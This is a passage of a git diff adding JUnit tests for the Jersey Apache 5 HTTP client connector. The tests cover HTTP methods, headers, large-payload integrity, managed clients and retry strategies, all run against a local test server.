jakarta.ws.rs.ext.Provider; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + if (transferEncoding == null || !transferEncoding.equals("chunked")) { + assertEquals("writer", xWriter); + } + return entity; + } + } + + @Provider + @Produces("text/plain") + public static class HeaderWriter implements MessageBodyWriter { + + public boolean isWriteable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return type == String.class; + } + + public long getSize(String t, Class type, Type genericType, Annotation[] annotations, MediaType mediaType) { + return -1; + } + + public void writeTo(String t, + Class type, + Type genericType, + Annotation[] annotations, + MediaType mediaType, + MultivaluedMap httpHeaders, + OutputStream entityStream) throws IOException, WebApplicationException { + httpHeaders.add("X-WRITER", "writer"); + entityStream.write(t.getBytes()); + } + } + + @Override + protected Application configure() { + enable(TestProperties.LOG_TRAFFIC); + enable(TestProperties.DUMP_ENTITY); + + ResourceConfig config = new ResourceConfig(HttpMethodResource.class, HeaderWriter.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.READ_TIMEOUT, 1000).connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target("test"); + + Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST")); + assertEquals(200, cr.getStatus()); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + WebTarget r = target("test"); + + Response cr = r.request().header("X-CLIENT", "client").post(Entity.text("POST")); + assertEquals(200, cr.getStatus()); + assertTrue(cr.hasEntity()); + cr.close(); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodTest.java new file mode 100644 index 00000000000..107faada2e4 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodTest.java @@ -0,0 +1,311 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class HttpMethodTest extends JerseyTest { + + @Override + protected Application configure() { + return new ResourceConfig(HttpMethodResource.class, ErrorResource.class); + } + + protected Client createClient() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + return ClientBuilder.newClient(cc); + } + + protected Client createPoolingClient() { + ClientConfig cc = new ClientConfig(); + PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager(); + connectionManager.setMaxTotal(100); + connectionManager.setDefaultMaxPerRoute(100); + cc.property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager); + cc.connectorProvider(new Apache5ConnectorProvider()); + return ClientBuilder.newClient(cc); + } + + private WebTarget getWebTarget(final Client client) { + return client.target(getBaseUri()).path("test"); + } + + private WebTarget getWebTarget() { + return getWebTarget(createClient()); + } + + @Target({ElementType.METHOD}) + @Retention(RetentionPolicy.RUNTIME) + @HttpMethod("PATCH") + public @interface PATCH { + } + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + + @DELETE + @Path("withentity") + public String delete(String entity) { + return entity; + } + + @POST + @Path("noproduce") + public void postNoProduce(String entity) { + } + + @POST + @Path("noconsumeproduce") + public void postNoConsumeProduce() { + } + + @PATCH + public String patch(String entity) { + return entity; + } + } + + @Test + public void testHead() { + WebTarget r = getWebTarget(); + Response cr = r.request().head(); + assertFalse(cr.hasEntity()); + } + + @Test + public void testOptions() { + WebTarget r = getWebTarget(); + Response cr = r.request().options(); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testOptionsWithEntity() { + WebTarget r = getWebTarget(); + Response response = r.request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } + + @Test + public void testGet() { + WebTarget r = getWebTarget(); + assertEquals("GET", r.request().get(String.class)); + + Response cr = r.request().get(); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPost() { + WebTarget r = getWebTarget(); + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig cc = new ClientConfig() + .property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024) + .connectorProvider(new Apache5ConnectorProvider()); + Client client = ClientBuilder.newClient(cc); + WebTarget r = getWebTarget(client); + + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostVoid() { + WebTarget r = getWebTarget(createPoolingClient()); + + for (int i = 0; i < 100; i++) { + r.request().post(Entity.text("POST")); + } + } + + @Test + public void testPostNoProduce() { + WebTarget r = getWebTarget(); + assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus()); + + Response cr = r.path("noproduce").request().post(Entity.text("POST")); + assertFalse(cr.hasEntity()); + cr.close(); + } + + + @Test + public void testPostNoConsumeProduce() { + WebTarget r = getWebTarget(); + assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus()); + + Response cr = r.path("noconsumeproduce").request().post(Entity.text("POST")); + assertFalse(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPut() { + WebTarget r = getWebTarget(); + assertEquals("PUT", r.request().put(Entity.text("PUT"), String.class)); + + Response cr = r.request().put(Entity.text("PUT")); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testDelete() { + WebTarget r = getWebTarget(); + assertEquals("DELETE", r.request().delete(String.class)); + + Response cr = r.request().delete(); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPatch() { + WebTarget r = getWebTarget(); + assertEquals("PATCH", r.request().method("PATCH", Entity.text("PATCH"), String.class)); + + Response cr = r.request().method("PATCH", Entity.text("PATCH")); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testAll() { + WebTarget r = getWebTarget(); + + assertEquals("GET", r.request().get(String.class)); + + assertEquals("POST", r.request().post(Entity.text("POST"), String.class)); + + assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus()); + + assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus()); + + assertEquals("PUT", r.request().post(Entity.text("PUT"), String.class)); + + assertEquals("DELETE", r.request().delete(String.class)); + } + + + @Path("/error") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = createClient().target(getBaseUri()).path("error"); + + for (int i = 0; i < 100; i++) { + try { + final Response post = r.request().post(Entity.text("POST")); + post.close(); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = createPoolingClient().target(getBaseUri()).path("error/entity"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodWithClientFilterTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodWithClientFilterTest.java new file mode 100644 index 00000000000..03d182d600f --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/HttpMethodWithClientFilterTest.java @@ -0,0 +1,39 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class HttpMethodWithClientFilterTest extends HttpMethodTest { + + @Override + protected Client createClient() { + ClientConfig cc = new ClientConfig() + .register(LoggingFeature.class) + .connectorProvider(new Apache5ConnectorProvider()); + return ClientBuilder.newClient(cc); + } + +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/LargeDataTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/LargeDataTest.java new file mode 100644 index 00000000000..117394145f1 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/LargeDataTest.java @@ -0,0 +1,155 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.logging.Logger; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ServerErrorException; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; +import jakarta.ws.rs.core.StreamingOutput; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +/** + * The LargeDataTest reproduces a problem when bytes of large data sent are incorrectly sent. + * As a result, the request body is different than what was sent by the client. + *

+ * In order to be able to inspect the request body, the generated data is a sequence of numbers + * delimited with new lines. Such as + *


+ *     1
+ *     2
+ *     3
+ *
+ *     ...
+ *
+ *     57234
+ *     57235
+ *     57236
+ *
+ *     ...
+ * 
+ * It is also possible to send the data to netcat: {@code nc -l 8080} and verify the problem is + * on the client side. + * + * @author Stepan Vavra + * @author Marek Potociar + */ +public class LargeDataTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(LargeDataTest.class.getName()); + private static final int LONG_DATA_SIZE = 1_000_000; // for large set around 5GB, try e.g.: 536_870_912; + private static volatile Throwable exception; + + private static StreamingOutput longData(long sequence) { + return out -> { + long offset = 0; + while (offset < sequence) { + out.write(Long.toString(offset).getBytes()); + out.write('\n'); + offset++; + } + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void postWithLargeData() throws Throwable { + WebTarget webTarget = target("test"); + + Response response = webTarget.request().post(Entity.entity(longData(LONG_DATA_SIZE), MediaType.TEXT_PLAIN_TYPE)); + + try { + if (exception != null) { + + // the reason to throw the exception is that IntelliJ gives you an option to compare the expected with the actual + throw exception; + } + + Assertions.assertEquals(Status.Family.SUCCESSFUL, response.getStatusInfo().getFamily(), + "Unexpected error: " + response.getStatus()); + } finally { + response.close(); + } + } + + @Path("/test") + public static class HttpMethodResource { + + @POST + public Response post(InputStream content) { + try { + + longData(LONG_DATA_SIZE).write(new OutputStream() { + + private long position = 0; +// private long mbRead = 0; + + @Override + public void write(final int generated) throws IOException { + int received = content.read(); + + if (received != generated) { + throw new IOException("Bytes don't match at position " + position + + ": received=" + received + + ", generated=" + generated); + } + + position++; +// if (position % (1024 * 1024) == 0) { +// mbRead++; +// System.out.println("MB read: " + mbRead); +// } + } + }); + } catch (IOException e) { + exception = e; + throw new ServerErrorException(e.getMessage(), 500, e); + } + + return Response.ok().build(); + } + + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/ManagedClientTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/ManagedClientTest.java new file mode 100644 index 00000000000..3ab8a2a4c65 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/ManagedClientTest.java @@ -0,0 +1,268 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Jersey programmatic managed client test + * + * @author Marek Potociar + */ +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + * + * @author Marek Potociar (marek.potociar at oracle.com) + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + * + * @author Marek Potociar (marek.potociar at oracle.com) + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + * + * @author Marek Potociar + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + *

+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + *

+ *

+ * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + *

+ * + * @author Marek Potociar (marek.potociar at oracle.com) + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + * + * @author Marek Potociar (marek.potociar at oracle.com) + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + *

+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + *

+ * + * @author Marek Potociar (marek.potociar at oracle.com) + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to /internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/NoEntityTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/NoEntityTest.java new file mode 100644 index 00000000000..cff230dd497 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/NoEntityTest.java @@ -0,0 +1,102 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new Apache5ConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/RetryStrategyTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/RetryStrategyTest.java new file mode 100644 index 00000000000..234c10da435 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/RetryStrategyTest.java @@ -0,0 +1,142 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import java.io.IOException; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; + +import org.apache.hc.client5.http.HttpRequestRetryStrategy; +import org.apache.hc.core5.http.HttpRequest; +import org.apache.hc.core5.http.HttpResponse; +import org.apache.hc.core5.http.protocol.HttpContext; +import org.apache.hc.core5.util.TimeValue; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class RetryStrategyTest extends JerseyTest { + private static final int READ_TIMEOUT_MS = 100; + + @Override + protected Application configure() { + return new ResourceConfig(RetryHandlerResource.class); + } + + @Path("/") + public static class RetryHandlerResource { + private static volatile int postRequestNumber = 0; + private static volatile int getRequestNumber = 0; + + // Cause a timeout on the first GET and POST request + @GET + public String get(@Context HttpHeaders h) { + if (getRequestNumber++ == 0) { + try { + Thread.sleep(READ_TIMEOUT_MS * 10); + } catch (InterruptedException ex) { + // ignore + } + } + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + if (postRequestNumber++ == 0) { + try { + Thread.sleep(READ_TIMEOUT_MS * 10); + } catch (InterruptedException ex) { + // ignore + } + } + return "POST"; + } + } + + @Test + public void testRetryGet() throws IOException { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + cc.property(Apache5ClientProperties.RETRY_STRATEGY, + new HttpRequestRetryStrategy() { + @Override + public boolean retryRequest(HttpRequest request, IOException exception, int execCount, HttpContext context) { + return true; + } + + @Override + public boolean retryRequest(HttpResponse response, int execCount, HttpContext context) { + return true; + } + + @Override + public TimeValue getRetryInterval(HttpResponse response, int execCount, HttpContext context) { + return TimeValue.ofMilliseconds(200); + } + }); + cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()); + assertEquals("GET", r.request().get(String.class)); + } + + @Test + public void testRetryPost() throws IOException { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new Apache5ConnectorProvider()); + cc.property(Apache5ClientProperties.RETRY_STRATEGY, + new HttpRequestRetryStrategy() { + @Override + public boolean retryRequest(HttpRequest request, IOException exception, int execCount, HttpContext context) { + return true; + } + + @Override + public boolean retryRequest(HttpResponse response, int execCount, HttpContext context) { + return true; + } + + @Override + public TimeValue getRetryInterval(HttpResponse response, int execCount, HttpContext context) { + return TimeValue.ofMilliseconds(200); + } + }); + cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS); + Client client = ClientBuilder.newClient(cc); + + WebTarget r = client.target(getBaseUri()); + assertEquals("POST", r.request() + .property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED) + .post(Entity.text("POST"), String.class)); + } +} diff --git a/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/SpecialHeaderTest.java b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/SpecialHeaderTest.java new file mode 100644 index 00000000000..0007ead1363 --- /dev/null +++ b/connectors/apache5-connector/src/test/java/org/glassfish/jersey/apache5/connector/SpecialHeaderTest.java @@ -0,0 +1,89 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 